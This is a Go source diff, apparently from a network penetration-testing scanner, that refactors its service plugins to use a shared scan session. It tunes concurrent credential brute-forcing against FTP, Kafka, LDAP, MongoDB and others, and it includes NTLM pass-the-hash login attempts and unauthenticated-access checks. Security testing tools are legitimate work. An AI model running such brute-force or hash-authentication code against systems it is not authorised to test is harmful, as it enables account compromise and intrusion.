testConfig ConcurrentTestConfig,
|
testConfig ConcurrentTestConfig,
|
||||||
) {
|
) {
|
||||||
|
consecutiveNetErrors := 0
|
||||||
|
maxNetErrors := testConfig.MaxConsecutiveNetErrors
|
||||||
|
if maxNetErrors <= 0 {
|
||||||
|
maxNetErrors = 5
|
||||||
|
}
|
||||||
|
|
||||||
for cred := range credChan {
|
for cred := range credChan {
|
||||||
// 检查是否应该停止
|
// 检查是否应该停止
|
||||||
select {
|
select {
|
||||||
@@ -213,12 +249,24 @@ func workerTestCredentials(
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 连续网络错误达到阈值,目标可能不可达,提前退出
|
||||||
|
if consecutiveNetErrors >= maxNetErrors {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
// 带重试的凭据测试
|
// 带重试的凭据测试
|
||||||
result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig)
|
result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig)
|
||||||
if result != nil && result.Success {
|
if result != nil && result.Success {
|
||||||
resultChan <- result
|
resultChan <- result
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 跟踪连续网络错误
|
||||||
|
if result != nil && result.Error != nil {
|
||||||
|
consecutiveNetErrors++
|
||||||
|
} else {
|
||||||
|
consecutiveNetErrors = 0
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -261,11 +309,12 @@ func testCredentialWithRetry(
|
|||||||
case ErrorTypeNetwork, ErrorTypeUnknown:
|
case ErrorTypeNetwork, ErrorTypeUnknown:
|
||||||
// 网络错误或未知错误,可以重试(可能是服务端限流等临时问题)
|
// 网络错误或未知错误,可以重试(可能是服务端限流等临时问题)
|
||||||
if attempt < testConfig.MaxRetries-1 {
|
if attempt < testConfig.MaxRetries-1 {
|
||||||
|
timer := time.NewTimer(testConfig.RetryDelay)
|
||||||
select {
|
select {
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
|
timer.Stop()
|
||||||
return nil
|
return nil
|
||||||
case <-time.After(testConfig.RetryDelay):
|
case <-timer.C:
|
||||||
// 继续重试
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,7 +25,9 @@ func NewElasticsearchPlugin() *ElasticsearchPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
|
|||||||
@@ -36,7 +36,8 @@ func NewFindNetPlugin() *FindNetPlugin {
|
|||||||
// GetPorts 实现Plugin接口
|
// GetPorts 实现Plugin接口
|
||||||
|
|
||||||
// Scan 执行FindNet扫描 - Windows网络信息收集
|
// Scan 执行FindNet扫描 - Windows网络信息收集
|
||||||
func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 检查是否为RPC端口
|
// 检查是否为RPC端口
|
||||||
@@ -48,10 +49,8 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// WrapperTcpWithTimeout内部已包含发包限制检查
|
conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout)
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "findnet",
|
Service: "findnet",
|
||||||
@@ -66,7 +65,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
// 执行RPC网络发现
|
// 执行RPC网络发现
|
||||||
networkInfo, err := p.performNetworkDiscovery(conn)
|
networkInfo, err := p.performNetworkDiscovery(conn)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "findnet",
|
Service: "findnet",
|
||||||
@@ -74,8 +72,6 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
|
|
||||||
// 记录发现的网络信息 (一次性输出,避免被其他日志打断)
|
// 记录发现的网络信息 (一次性输出,避免被其他日志打断)
|
||||||
if networkInfo.Valid {
|
if networkInfo.Valid {
|
||||||
var lines []string
|
var lines []string
|
||||||
@@ -169,7 +165,9 @@ func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, er
|
|||||||
// 查找响应结束标记
|
// 查找响应结束标记
|
||||||
for i := 0; i < len(responseData)-5; i++ {
|
for i := 0; i < len(responseData)-5; i++ {
|
||||||
if bytes.Equal(responseData[i:i+6], rpcBuffer3) {
|
if bytes.Equal(responseData[i:i+6], rpcBuffer3) {
|
||||||
responseData = responseData[:i-4]
|
if i >= 4 {
|
||||||
|
responseData = responseData[:i-4]
|
||||||
|
}
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -24,7 +24,9 @@ func NewFTPPlugin() *FTPPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(info, config, state)
|
return p.identifyService(info, config, state)
|
||||||
}
|
}
|
||||||
@@ -47,7 +49,7 @@ func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig)
|
||||||
|
|
||||||
|
|||||||
@@ -24,7 +24,9 @@ func NewKafkaPlugin() *KafkaPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, config, state)
|
||||||
}
|
}
|
||||||
@@ -42,7 +44,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *c
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig)
|
||||||
|
|
||||||
|
|||||||
+19
-24
@@ -23,16 +23,17 @@ func NewLDAPPlugin() *LDAPPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// Hash 认证优先:检查是否配置了 Hash 和 Domain
|
// Hash 认证优先:检查是否配置了 Hash 和 Domain
|
||||||
if len(config.Credentials.HashValues) > 0 && config.Credentials.Domain != "" {
|
if len(config.Credentials.HashValues) > 0 && config.Credentials.Domain != "" {
|
||||||
result := p.tryHashAuth(ctx, info, config, state)
|
result := p.tryHashAuth(ctx, info, session)
|
||||||
if result != nil && result.Success {
|
if result != nil && result.Success {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
@@ -48,8 +49,8 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, session)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ldap", testConfig)
|
||||||
|
|
||||||
@@ -61,24 +62,22 @@ func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *co
|
|||||||
}
|
}
|
||||||
|
|
||||||
// createAuthFunc 创建LDAP认证函数
|
// createAuthFunc 创建LDAP认证函数
|
||||||
func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
func (p *LDAPPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
|
||||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||||
return p.doLDAPAuth(ctx, info, cred, config, state)
|
return p.doLDAPAuth(ctx, info, cred, session)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// doLDAPAuth 执行LDAP认证
|
// doLDAPAuth 执行LDAP认证
|
||||||
func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
conn, err := p.connectLDAP(ctx, info, config)
|
conn, err := p.connectLDAP(ctx, info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifyLDAPErrorType(err),
|
ErrorType: classifyLDAPErrorType(err),
|
||||||
Error: err,
|
Error: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
|
|
||||||
// 尝试多种DN格式进行绑定测试
|
// 尝试多种DN格式进行绑定测试
|
||||||
dnFormats := []string{
|
dnFormats := []string{
|
||||||
@@ -117,7 +116,8 @@ func (w *ldapConnWrapper) Close() error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// tryHashAuth 尝试 NTLM Hash 认证
|
// tryHashAuth 尝试 NTLM Hash 认证
|
||||||
func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
domain := config.Credentials.Domain
|
domain := config.Credentials.Domain
|
||||||
users := config.Credentials.Userdict["ldap"]
|
users := config.Credentials.Userdict["ldap"]
|
||||||
@@ -139,7 +139,7 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
result := p.doNTLMHashAuth(ctx, info, domain, user, hash, config, state)
|
result := p.doNTLMHashAuth(ctx, info, domain, user, hash, session)
|
||||||
if result.Success {
|
if result.Success {
|
||||||
// 截断 hash 用于显示
|
// 截断 hash 用于显示
|
||||||
displayHash := hash
|
displayHash := hash
|
||||||
@@ -162,17 +162,15 @@ func (p *LDAPPlugin) tryHashAuth(ctx context.Context, info *common.HostInfo, con
|
|||||||
}
|
}
|
||||||
|
|
||||||
// doNTLMHashAuth 执行单次 NTLM Hash 认证
|
// doNTLMHashAuth 执行单次 NTLM Hash 认证
|
||||||
func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, config *common.Config, state *common.State) *AuthResult {
|
func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo, domain, username, hash string, session *common.ScanSession) *AuthResult {
|
||||||
conn, err := p.connectLDAP(ctx, info, config)
|
conn, err := p.connectLDAP(ctx, info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
ErrorType: classifyLDAPErrorType(err),
|
ErrorType: classifyLDAPErrorType(err),
|
||||||
Error: err,
|
Error: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
|
|
||||||
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
|
if err := conn.NTLMBindWithHash(domain, username, hash); err == nil {
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
@@ -192,7 +190,7 @@ func (p *LDAPPlugin) doNTLMHashAuth(ctx context.Context, info *common.HostInfo,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// connectLDAP 连接LDAP服务器
|
// connectLDAP 连接LDAP服务器
|
||||||
func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, config *common.Config) (*ldaplib.Conn, error) {
|
func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (*ldaplib.Conn, error) {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
type result struct {
|
type result struct {
|
||||||
@@ -202,7 +200,7 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con
|
|||||||
resultChan := make(chan result, 1)
|
resultChan := make(chan result, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
tcpConn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
tcpConn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
resultChan <- result{nil, err}
|
resultChan <- result{nil, err}
|
||||||
return
|
return
|
||||||
@@ -223,7 +221,6 @@ func (p *LDAPPlugin) connectLDAP(ctx context.Context, info *common.HostInfo, con
|
|||||||
case res := <-resultChan:
|
case res := <-resultChan:
|
||||||
return res.conn, res.err
|
return res.conn, res.err
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
|
||||||
go func() {
|
go func() {
|
||||||
res := <-resultChan
|
res := <-resultChan
|
||||||
if res.conn != nil {
|
if res.conn != nil {
|
||||||
@@ -257,19 +254,17 @@ func classifyLDAPErrorType(err error) ErrorType {
|
|||||||
return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors)
|
return ClassifyError(err, ldapAuthErrors, ldapNetworkErrors)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *LDAPPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn, err := p.connectLDAP(ctx, info, config)
|
conn, err := p.connectLDAP(ctx, info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
Service: "ldap",
|
Service: "ldap",
|
||||||
Error: err,
|
Error: err,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
state.IncrementTCPSuccessPacketCount()
|
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
banner := "LDAP"
|
banner := "LDAP"
|
||||||
|
|||||||
@@ -24,15 +24,16 @@ func NewMemcachedPlugin() *MemcachedPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config, state)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检测未授权访问
|
// 检测未授权访问
|
||||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
|
||||||
common.LogVuln(i18n.Tr("memcached_unauth", target))
|
common.LogVuln(i18n.Tr("memcached_unauth", target))
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
@@ -46,14 +47,14 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, confi
|
|||||||
}
|
}
|
||||||
|
|
||||||
// testUnauthorizedAccess 测试Memcached未授权访问
|
// testUnauthorizedAccess 测试Memcached未授权访问
|
||||||
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
conn := p.connectToMemcached(ctx, info, config, state)
|
conn := p.connectToMemcached(ctx, info, session)
|
||||||
if conn == nil {
|
if conn == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
if p.testBasicCommand(conn, config) {
|
if p.testBasicCommand(conn, session.Config) {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Type: plugins.ResultTypeVuln,
|
Type: plugins.ResultTypeVuln,
|
||||||
Success: true,
|
Success: true,
|
||||||
@@ -65,20 +66,19 @@ func (p *MemcachedPlugin) testUnauthorizedAccess(ctx context.Context, info *comm
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) net.Conn {
|
func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.HostInfo, session *common.ScanSession) net.Conn {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
timeout := session.Config.Timeout
|
||||||
|
|
||||||
connChan := make(chan net.Conn, 1)
|
connChan := make(chan net.Conn, 1)
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
state.IncrementTCPFailedPacketCount()
|
|
||||||
connChan <- nil
|
connChan <- nil
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
state.IncrementTCPSuccessPacketCount()
|
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
|
||||||
connChan <- conn
|
connChan <- conn
|
||||||
}()
|
}()
|
||||||
|
|
||||||
@@ -86,7 +86,6 @@ func (p *MemcachedPlugin) connectToMemcached(ctx context.Context, info *common.H
|
|||||||
case conn := <-connChan:
|
case conn := <-connChan:
|
||||||
return conn
|
return conn
|
||||||
case <-ctx.Done():
|
case <-ctx.Done():
|
||||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
|
||||||
go func() {
|
go func() {
|
||||||
conn := <-connChan
|
conn := <-connChan
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
@@ -114,10 +113,10 @@ func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config)
|
|||||||
return common.ContainsAny(responseStr, "VERSION", "memcached")
|
return common.ContainsAny(responseStr, "VERSION", "memcached")
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
conn := p.connectToMemcached(ctx, info, config, state)
|
conn := p.connectToMemcached(ctx, info, session)
|
||||||
if conn == nil {
|
if conn == nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -127,7 +126,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host
|
|||||||
}
|
}
|
||||||
defer func() { _ = conn.Close() }()
|
defer func() { _ = conn.Close() }()
|
||||||
|
|
||||||
if p.testBasicCommand(conn, config) {
|
if p.testBasicCommand(conn, session.Config) {
|
||||||
banner := "Memcached"
|
banner := "Memcached"
|
||||||
common.LogSuccess(i18n.Tr("memcached_service", target, banner))
|
common.LogSuccess(i18n.Tr("memcached_service", target, banner))
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
|
|||||||
+14
-12
@@ -28,15 +28,17 @@ func NewMongoDBPlugin() *MongoDBPlugin {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
if config.DisableBrute {
|
if config.DisableBrute {
|
||||||
return p.identifyService(ctx, info, config)
|
return p.identifyService(ctx, info, session)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 首先检测未授权访问
|
// 首先检测未授权访问
|
||||||
isUnauth, err := p.mongodbUnauth(ctx, info, config)
|
isUnauth, err := p.mongodbUnauth(ctx, info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -67,7 +69,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
|
|
||||||
// 使用公共框架进行并发凭据测试
|
// 使用公共框架进行并发凭据测试
|
||||||
authFn := p.createAuthFunc(info, config, state)
|
authFn := p.createAuthFunc(info, config, state)
|
||||||
testConfig := DefaultConcurrentTestConfig(config)
|
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
|
||||||
|
|
||||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig)
|
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig)
|
||||||
|
|
||||||
@@ -182,10 +184,10 @@ func classifyMongoDBErrorType(err error) ErrorType {
|
|||||||
return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors)
|
return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
|
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
isUnauth, err := p.mongodbUnauth(ctx, info, config)
|
isUnauth, err := p.mongodbUnauth(ctx, info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{
|
return &ScanResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
@@ -214,14 +216,14 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
|
|||||||
}
|
}
|
||||||
|
|
||||||
// mongodbUnauth 检测MongoDB未授权访问
|
// mongodbUnauth 检测MongoDB未授权访问
|
||||||
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, config *common.Config) (bool, error) {
|
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
|
||||||
msgPacket := p.createOpMsgPacket()
|
msgPacket := p.createOpMsgPacket()
|
||||||
queryPacket := p.createOpQueryPacket()
|
queryPacket := p.createOpQueryPacket()
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||||
|
|
||||||
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, config)
|
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, config)
|
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
@@ -239,8 +241,8 @@ func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkMongoAuth 检查MongoDB认证状态
|
// checkMongoAuth 检查MongoDB认证状态
|
||||||
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, config *common.Config) (string, error) {
|
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, session *common.ScanSession) (string, error) {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", address, config.Timeout)
|
conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", fmt.Errorf("连接失败: %w", err)
|
return "", fmt.Errorf("连接失败: %w", err)
|
||||||
}
|
}
|
||||||
@@ -252,7 +254,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
if deadlineErr := conn.SetDeadline(time.Now().Add(config.Timeout)); deadlineErr != nil {
|
if deadlineErr := conn.SetDeadline(time.Now().Add(session.Config.Timeout)); deadlineErr != nil {
|
||||||
return "", fmt.Errorf("设置超时失败: %w", deadlineErr)
|
return "", fmt.Errorf("设置超时失败: %w", deadlineErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+91
-94
@@ -10,6 +10,7 @@ import (
|
|||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
@@ -34,16 +35,7 @@ func NewMS17010Plugin() *MS17010Plugin {
|
|||||||
// GetPorts 实现Plugin接口
|
// GetPorts 实现Plugin接口
|
||||||
|
|
||||||
// Scan 执行MS17-010扫描
|
// Scan 执行MS17-010扫描
|
||||||
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
// 如果禁用暴力破解,也禁用漏洞检测
|
|
||||||
if config.DisableBrute {
|
|
||||||
return &ScanResult{
|
|
||||||
Success: false,
|
|
||||||
Service: "ms17010",
|
|
||||||
Error: fmt.Errorf("MS17010检测已禁用"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
// 检查端口
|
// 检查端口
|
||||||
@@ -56,7 +48,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 执行MS17010漏洞检测
|
// 执行MS17010漏洞检测
|
||||||
